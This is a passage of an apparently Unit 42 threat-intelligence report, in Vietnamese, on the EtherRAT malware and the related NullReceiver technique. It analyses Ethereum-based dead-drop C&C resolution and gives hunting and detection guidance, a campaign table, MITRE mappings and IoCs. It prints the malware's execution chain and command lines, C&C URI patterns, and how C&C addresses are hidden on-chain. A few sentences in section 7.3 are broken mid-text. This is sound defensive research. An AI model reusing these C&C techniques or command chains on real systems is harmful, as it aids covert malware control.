Phân tích của chúng tôi cho thấy chỉ 0x788a5336c0ef70be87619a3c13a43050c426f7ec là contract: đây là địa chỉ nằm trong trường to và là địa chỉ thực sự được truy vấn. Etherscan xác định 0x6e044e19000487c4a6e6af15b4132a5561b5ee1f là tài khoản sở hữu bên ngoài (externally owned account - EOA) đã tạo ra contract. Đây cũng là địa chỉ gửi các giao dịch Set String tới contract.
Trang Etherscan của contract 0x788a5336c0ef70be87619a3c13a43050c426f7ec
Do đó, contract hoạt động như một registry lưu chuỗi theo từng địa chỉ. Ví của operator ghi URL C&C bằng setString(string), còn bot đọc URL bằng getString(address) với khóa là địa chỉ ví của operator. EtherRAT không bao giờ gửi bất cứ thứ gì trực tiếp tới 0x6e044e19000487c4a6e6af15b4132a5561b5ee1f; nó chỉ dùng địa chỉ này làm tham số tra cứu. Việc này quan trọng đối với logic tra cứu sẽ không để lại bất kỳ tham chiếu hay dấu vết gì trên contract.
Sự phân biệt này quan trọng cho việc pivot. Một contract với giao diện getString/setString chung chung có thể được dùng chung hoặc triển khai lại, nhưng ví ghi giá trị thì thuộc về operator. Ví của operator là điểm pivot tốt hơn so với địa chỉ contract.
3.5. Phân tích lịch sử giao dịch
Mọi thao tác ghi vào contract đều là một giao dịch được ký, tồn tại vĩnh viễn và công khai. Tại thời điểm chúng tôi thu thập dữ liệu, contract có 20 giao dịch, và mọi giao dịch hiển thị trong danh sách đều là lệnh gọi Set String từ 0x6e044e19000487c4a6e6af15b4132a5561b5ee1f. Giải mã input data của một trong các giao dịch này cho ra URL C&C hxxps://labipt[.]com. Giao dịch đó tốn khoảng 0,0000091 ETH (khoảng 0,02 USD) phí giao dịch, nghĩa là operator có thể thay đổi địa chỉ C&C của toàn bộ botnet chỉ với vài cent.
URL C&C trong input data của một giao dịch setString
Phân giải được một vài URL C&C từ các giao dịch liên quan đến contract này:
| URL | Ghi chú |
|---|---|
hxxps://seconds.australiaeast.cloudapp.azure[.]com |
Azure CloudApp |
hxxps://resurce.swedencentral.cloudapp.azure[.]com |
Azure CloudApp |
hxxps://dns1.southafricanorth.cloudapp.azure[.]com |
Azure CloudApp |
Các URL C&C được phân giải từ giao dịch của contract (Unit 42)
Với 20 giao dịch ghi đã được ghi nhận, tất cả các giá trị này là quan sát lịch sử trên chain và có thể là vẫn đang hoạt động hoặc không. Tính tới thời điểm viết bài kẻ tấn công vẫn tiếp tục cập nhật các C&C mới.
Blockchain chỉ đóng vai trò dead drop resolver cho địa chỉ máy chủ, không phải kênh giao task. Task vẫn được gửi qua HTTP(S) hoặc WebSocket tới URL đã phân giải. Bảy RPC endpoint là dịch vụ hợp pháp được nhiều ứng dụng Web3 sử dụng hằng ngày, nên chặn chúng theo tên miền là hướng tiếp cận sai. Tín hiệu hữu ích nằm ở sự kết hợp: một RPC request, contract 0x788a5336c0ef70be87619a3c13a43050c426f7ec, selector 0x7d434425 và một tiến trình Node.js chạy từ đường dẫn bất thường.
4. Threat Hunting vs Detection
Qua phân tích có thể thấy rằng các dấu hiệu đơn lẻ là không đủ để xác nhận lây nhiễm. Node.js là runtime hợp pháp, nodejs.org là hạ tầng chính thức, và các RPC endpoint Ethereum công khai phục vụ hàng nghìn ứng dụng Web3 hợp pháp. Giá trị nằm ở các hành vi này nối tiếp nhau thành một chuỗi.
4.1. Process Tree
Cây tiến trình là chỉ dấu mạnh nhất, đặc biệt khi nó bắt đầu từ một MSI nằm trong thư mục người dùng hoặc %TEMP%:
msiexec.exe
└─ conhost.exe --headless
└─ cmd.exe /c R2YxSP2m.cmd
└─ conhost.exe --headless
└─ node.exe z0SYYdWk9g.dat
└─ texuvTlV.exe -
Các command line đáng chú ý khi hunting:
conhost --headless cmd /c call <batch> 49UB
curl -sLo %TEMP%\node-v18.20.5-win-x64.zip https://nodejs.org/...
node.exe <path>\z0SYYdWk9g.dat
texuvTlV.exe -
Một tiến trình node.exe -, hoặc bất kỳ tệp thực thi nào được một tiến trình Node.js khác khởi chạy với - là tham số duy nhất, đều đáng ngờ bất kể có liên quan đến chiến dịch này hay không. Tên tệp trong chuỗi này được sinh ngẫu nhiên theo từng build, nên cần nhận dạng theo hình dạng của cả chuỗi thay vì các chuỗi ký tự cụ thể trong commandline.
4.2. Artifact trên hệ thống tệp
Tìm bộ các tệp .cmd, .dat và .ini có tên ngẫu nhiên nằm cùng một thư mục trong %LOCALAPPDATA%, đi kèm 1DIZ0D\node.exe hoặc một bản sao của node.exe dưới tên khác. Bản thân các phần mở rộng này có thể dễ dàng thay đổi trong các chiến dịch tương tự. Các artifact bổ sung:
| Artifact | Mô tả |
|---|---|
qNCplqpq |
Tệp tạm chứa output của where node |
%APPDATA%\.node_bot_id |
Bot ID được các phiên bản cũ sử dụng |
%APPDATA%\svchost.log |
Log lỗi; chỉ dấu trên host đáng tin cậy nhất |
%LOCALAPPDATA%\<derived-path>\<6-hex> |
Tệp cấu hình mã hóa Base64, không có phần mở rộng |
Các artifact trên hệ thống tệp
Vì giai đoạn cuối được truyền qua stdin, cần ưu tiên thu thập bộ nhớ tiến trình, command line và telemetry về pipe. Chỉ thu thập tệp trên đĩa sẽ bỏ sót cả logic EtherRAT core lẫn mọi task do máy chủ C&C gửi xuống.
4.3. Network Behavior
Chuỗi hành vi đặc trưng của một tiến trình Node.js chạy từ đường dẫn bất thường gồm:
Các POST request JSON-RPC
eth_calltới nhiều RPC endpoint Ethereum trong vòng vài giây, vớitolà0x788a5336c0ef70be87619a3c13a43050c426f7ecvà data bắt đầu bằng selector0x7d434425.Kết nối tới
necropatia[.]comhoặc tới URL do contract trả về.Các GET request tới URI có dạng
/api/<8-hex>/<UUID>/<8-hex>.<ext>?<key>=<buildId>kèm headerX-Bot-Server.Body phản hồi là JavaScript, có thể kéo theo tiến trình con hoặc kết nối mới tùy theo task.
Bước 3 là bước dễ viết rule nhất. Không ứng dụng hợp lệ nào tải một tệp có vẻ là .png kèm header X-Bot-Server, giữ kết nối mở trong 120 giây và lặp lại mỗi 500 ms.
Không nên chặn nodejs.org, Azure CloudApp hay các RPC endpoint công khai theo tên miền vì tỷ lệ false positive sẽ quá cao. Với các dịch vụ dùng chung, hãy kết hợp mối quan hệ giữa tiến trình cha-con, đường dẫn binary, mẫu JSON-RPC, địa chỉ contract, HTTP header và tần suất polling. Chặn riêng từng tên miền C&C đã được xác nhận theo chính sách của tổ chức và cần theo dõi blacklist địa chỉ smartcontract.
5. Kết luận
Báo cáo này đã phân tích một chuỗi lây nhiễm EtherRAT bắt đầu từ cuộc gọi giả mạo hỗ trợ IT trên Microsoft Teams. Kẻ tấn công chiếm quyền điều khiển từ xa máy nạn nhân và triển khai một MSI có nhiệm vụ chuẩn bị runtime Node.js hợp lệ, giải mã payload qua nhiều lớp tự xây dựng và chạy lõi EtherRAT hoàn toàn trong bộ nhớ. Lõi này phân giải máy chủ C&C thông qua smart contract Ethereum và thực thi bất kỳ JavaScript nào máy chủ trả về.
EtherRAT không phải trường hợp đơn lẻ: các tác nhân đe dọa sử dụng hạ tầng blockchain công khai làm hạ tầng C&C với tần suất tăng dần. Tính đến ngày 06/08/2026, kho dữ liệu Unit 42 Timely Threat Intel ghi nhận ít nhất tám chiến dịch sử dụng blockchain làm lớp phân giải C&C, trong đó có chính chiến dịch được phân tích trong báo cáo này:
| Ngày | Báo cáo | Blockchain | Cơ chế phân giải C&C |
|---|---|---|---|
| 2026-07-30 | Remus Info-Stealer Uses Blockchain-Anchored C2 | Ethereum | Truy vấn contract 0x999941b74F6bbc921D5174A5b29911562cd2D7CF qua ethereum-rpc.publicnode[.]com |
| 2026-07-21 | Malicious npm/PyPI Supply Chain packages | Ethereum mainnet | Dropper EtherHiding; các contract 0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84 và 0xa1b40044EBc2794f207D45143Bd82a1B86156c6b |
| 2026-07-02 | ClickFix campaign utilizing MaaS kit with Blockchain C2 | Polygon (MATIC) | tracker.js lấy URL C&C được mã hóa base36; là một trong bốn lớp phân giải C&C độc lập |
| 2026-06-28 | Fake IT support abuses Teams to deliver EtherRAT | Ethereum | Contract 0x788a5336... được truy vấn với khóa 0x6e044e19000487c4a6e6af15b4132a5561b5ee1f; C&C dự phòng hardcode necropatia[.]com |
| 2026-05-22 | RemusStealer Delivered via Software Search Redirection | Ethereum | Ethereum dead drop resolver dùng cùng contract 0x999941b7... qua eth.llamarpc[.]com; loader Go được làm rối bằng Garble |
| 2026-04-13 | LORIKAZZ ANDROID/IOT | Ethereum (ENS) | Chuỗi "Empty ENS record" trong binary ELF; chồng lấn mã nguồn với Kimwolf/AISURU |
| 2026-03-30 | KIMWOLF V7 IoT | Ethereum (ENS) | Năm RPC endpoint hardcode phân giải tên ENS ra IP C&C; C&C dự phòng qua Tor .onion |
| 2024-09-04 | EtherHiding popups still active | BNB Smart Chain | Kỹ thuật EtherHiding gốc; mã được lưu trong contract và lấy về qua bsc-dataseed1.binance[.]org; liên quan đến ClearFake/ClickFix |
Các chiến dịch sử dụng cơ chế phân giải C&C dựa trên blockchain (Unit 42 Timely Threat Intel)
Có thể thấy một số mẫu hình. Ethereum mainnet chiếm ưu thế, nhưng Polygon và BNB Smart Chain cũng xuất hiện, nhiều khả năng do phí giao dịch thấp hơn. ENS là một lựa chọn rẻ hơn: thay vì triển khai contract, tác nhân chỉ cần trỏ một tên ENS tới IP C&C. Remus tái sử dụng cùng một contract (0x999941b7...) trong hai chiến dịch cách nhau hơn hai tháng, cho thấy hạ tầng này được tái sử dụng thay vì dựng mới cho mỗi chiến dịch.
6. Phụ lục
Phụ lục A. MITRE ATT&CK
| Chiến thuật | Kỹ thuật |
|---|---|
| Initial Access | T1566.001: Phishing: Spearphishing Attachment |
| T1566.004: Phishing: Spearphishing Voice | |
| Execution | T1059.003: Command and Scripting Interpreter: Windows Command Shell |
| T1059.007: Command and Scripting Interpreter: JavaScript | |
| Defense Evasion | T1218.007: System Binary Proxy Execution: Msiexec |
| T1027.010: Obfuscated Files or Information: Command Obfuscation | |
| T1027.013: Obfuscated Files or Information: Encrypted/Encoded File | |
| T1027.016: Obfuscated Files or Information: Junk Code Insertion | |
| T1140: Deobfuscate/Decode Files or Information | |
| T1564.003: Hide Artifacts: Hidden Window | |
| Discovery | T1033: System Owner/User Discovery |
| T1082: System Information Discovery | |
| T1083: File and Directory Discovery | |
| Command and Control | T1219.002: Remote Access Tools: Remote Desktop Software |
| T1105: Ingress Tool Transfer | |
| T1102.001: Web Service: Dead Drop Resolver | |
| T1071.001: Application Layer Protocol: Web Protocols | |
| T1008: Fallback Channels |
MITRE ATT&CK
Phụ lục B. IoC
sha256
fc2907fa866f86e0821f75060a331ce69ee10ff3aa374587993b17ba5406fa33 - v7.msi
c2eeb74892408496f5a307a5b1fdc92d94fd014ab4252868f04046bf84718ab6 - R2YxSP2m.cmd
94cb54d53927e4ba469099760db531be563a84d716df69e864062d90f0f2448d - z0SYYdWk9g.dat
0cb2f7651d50e1ed1a691e82f0297d49444bdded2461e136cffb156d4f234e52 - eXYlcnebRLrWyBc.ini
d46b4e8d188fe1773c44d38d730dcb6287639568240c765d9ad4ad79cd239e82 - Loader JavaScript giai đoạn hai được giải mã từ z0SYYdWk9g.dat
c16784e2c7b3e3b798addd718850da18f8eb532ab8f352c769a4470d7124805d - Lõi EtherRAT ở giai đoạn 3 được giải mã từ eXYlcnebRLrWyBc.ini
Địa chỉ contract
- 0x788a5336c0ef70be87619a3c13a43050c426f7ec
Địa chỉ ví
- 0x6e044e19000487c4a6e6af15b4132a5561b5ee1f
URL
hxxps://camorreado[.]click/v7.msi
hxxps://necropatia[.]com
hxxps://labipt[.]com
hxxps://seconds.australiaeast.cloudapp.azure[.]com
hxxps://resurce.swedencentral.cloudapp.azure[.]com
hxxps://cover.wedencentral.cloudapp.azure[.]com
hxxps://dns1.southafricanorth.cloudapp.azure[.]com
Tài khoản của kẻ tấn công
helpdesk@Progressive934.onmicrosoft[.]com - Tài khoản của kẻ tấn công (tên hiển thị "System Administrator")
Progressive934.onmicrosoft[.]com - Tên miền tenant của kẻ tấn công
310e9ead-4f6f-491e-aafe-feb08c8d17a4 - Tenant ID của kẻ tấn công
Artifact mạng và cấu hình
0x7d434425 - Function selector của getString(address)
0x7fcaf666 - Function selector của setString(string)
/api/<8-hex>/<UUID>/<8-hex>.<png|jpg|gif|css|ico|webp>?<id|token|key|b|q|s|v>=<buildId>- Mẫu URI C&C
Phụ lục C. Tài liệu tham khảo
EtherRAT Targeting Windows Disguised as a Game Mod Installer
Contract 0x788a5336c0ef70be87619a3c13a43050c426f7ec trên Etherscan
7. Mở rộng: NullReceiver, bước tiến hóa tiếp theo của EtherHiding
Trong quá trình mở rộng nghiên cứu các mẫu mã độc sử dụng blockchain làm cơ chế phân giải C&C, chúng tôi ghi nhận NullReceiver, một kỹ thuật phát triển từ EtherHiding. Kỹ thuật này loại bỏ chính những tín hiệu on-chain mà bên phòng thủ dùng để phát hiện EtherRAT (mục 4.3). Mục này tóm tắt cách NullReceiver hoạt động, so sánh nó với cơ chế phân giải C&C của EtherRAT và đưa ra các hướng phát hiện.
Kỹ thuật này được OpenSourceMalware công bố đầu tháng 8/2026, sau khi phát hiện trong hai gói npm giả mạo plugin Tailwind CSS là bianira-ui@1.27.0 và fluid-type-ui@2.0.8, có liên hệ với chiến dịch Contagious Interview của DPRK. EtherRAT đọc URL C&C từ bộ nhớ của một smart contract (mục 3). NullReceiver thì không dùng contract cũng không dùng calldata: địa chỉ IP C&C được giấu ngay trong địa chỉ người nhận (to) của một giao dịch Ethereum có giá trị bằng 0.
7.1. Cơ chế hoạt động
Mã độc lấy ví hardcode 0xa322e5f3d311d3080e6f0121063e9adc2490ef1a, tìm giao dịch gửi đi mới nhất của ví qua RPC công khai (1rpc.io/eth, eth.drpc.org) và giải mã IPv4 từ 4 byte đầu của trường to. Giao dịch có value = 0, input = 0x và chỉ tốn 21.000 gas, mức tối thiểu của một giao dịch Ethereum. Địa chỉ người nhận không phải ví thật mà là 20 byte được bịa ra để chứa dữ liệu. Ethereum chấp nhận mọi giá trị 20 byte trong trường to và không kiểm tra ai nắm private key tương ứng.
0x a658863e a658863e 68656c6c6f6970626f742121
│ │ └─ "helloipbot!!" (chuỗi chữ ký của kẻ tấn công)
│ └─ lặp lại 4 byte IP
└─ a6.58.86.3e = 166.88.134[.]62 (IP C&C)
Phía nạn nhân chỉ đọc dữ liệu blockchain: không gọi contract, không tạo giao dịch và không trả gas.
7.2. So sánh với EtherHiding trong EtherRAT
| Đặc điểm | EtherRAT (EtherHiding qua smart contract) | NullReceiver |
|---|---|---|
| Nơi giấu dữ liệu | Bộ nhớ contract 0x788a5336..., đọc qua eth_call getString(address) |
Địa chỉ người nhận (to) của giao dịch |
| Điểm cố định để phát hiện | Địa chỉ contract và selector 0x7d434425 |
Chỉ có ví gửi; địa chỉ người nhận đổi sau mỗi lần cập nhật C&C |
| Calldata của giao dịch cập nhật | Chứa URL C&C (setString(string)) |
Rỗng (0x) |
| Dung lượng | Một URL đầy đủ | 4 byte, vừa đủ một địa chỉ IPv4 |
| Tương tác smart contract | Có | Không |
| Điểm yếu | Lịch sử setString công khai mọi URL C&C từng dùng |
Lịch sử giao dịch của ví công khai mọi IP C&C từng dùng nhưng hòa lẫn vào rất nhiều giao dịch bình thường khác trong mạng blockchain |
So sánh EtherHiding trong EtherRAT và NullReceiver
NullReceiver loại bỏ cả hai tín hiệu on-chain mà mục 4.3 dựa vào: địa chỉ contract cố định và selector 0x7d434425 trong calldata. Đổi lại, nó chỉ mang được một địa chỉ IP, và ví gửi vẫn là điểm tham chiếu bắt buộc. Giống ví operator 0x6e044e19... của EtherRAT, khi ví này bị phát hiện, toàn bộ lịch sử C&C có thể được dựng lại từ chain.
7.3. Theo dõi ví trên chain
Đến hết ngày 15/10/2026, ví 0xa322e5f3d311d3080e6f0121063e9adc2490ef1a có tất cả 588 giao dịch, với tổng chi phí khoảng 0,038 ETH (92 USD). Operator xoay vòng qua bảy IP C&C trong tám giai đoạn. Báo cáo ban đầu chỉ công bố 0,0293 ETH) tới 166.88.134[.]62, nên một danh sách chặn chỉ chứa IP này đã không còn hiệu lực từ ngày 22/08/2026. Ngày 14/10/2026, ví chuyển toàn bộ số dư (0xf97062cb1B6FFa18b88e9Faea373Ed288a87Ecd0 và không có thêm giao dịch mới nào, cho thấy operator có thể đang chuyển sang ví mới.
7.4. Detection
On-chain: Giám sát ví
0xa322e5f3d311d3080e6f0121063e9adc2490ef1avà tìm các giao dịch có giá trị bằng 0, không có calldata, với địa chỉ người nhận kết thúc bằng68656c6c6f6970626f742121(helloipbot!!) từ bất kỳ ví nào.Endpoint/mạng: Cảnh báo khi
node.exetruy vấn một Ethereum RPC endpoint rồi ngay sau đó kết nối trực tiếp tới một IP bên ngoài, đặc biệt trên máy lập trình viên và CI/CD runner. Đây cũng là mẫu hình "phân giải rồi kết nối" của EtherRAT.Tĩnh: Chuỗi
A10-npm3!, hoặc địa chỉ ví đi kèm1rpc.io/ethhayeth.drpc.orgtrong cùng một tệp JavaScript.
7.5. IoC
Gói npm:
bianira-ui@1.27.0,fluid-type-ui@2.0.8,tailwindcss-anim,tailwind-anim,post-css-transfer,scrollbar-hide-plugin,tailwind-animation-founderTài khoản npm:
npmuser1101,npmuser3002Ví của kẻ tấn công:
0xa322e5f3d311d3080e6f0121063e9adc2490ef1aIP C&C:
166.88.134[.]62,23.27.13[.]135,166.88.73[.]46,193.247.144[.]38,166.88.134[.]75,91.218.183[.]174,23.27.13[.]72Chuỗi tĩnh:
A10-npm3!,helloipbot!!





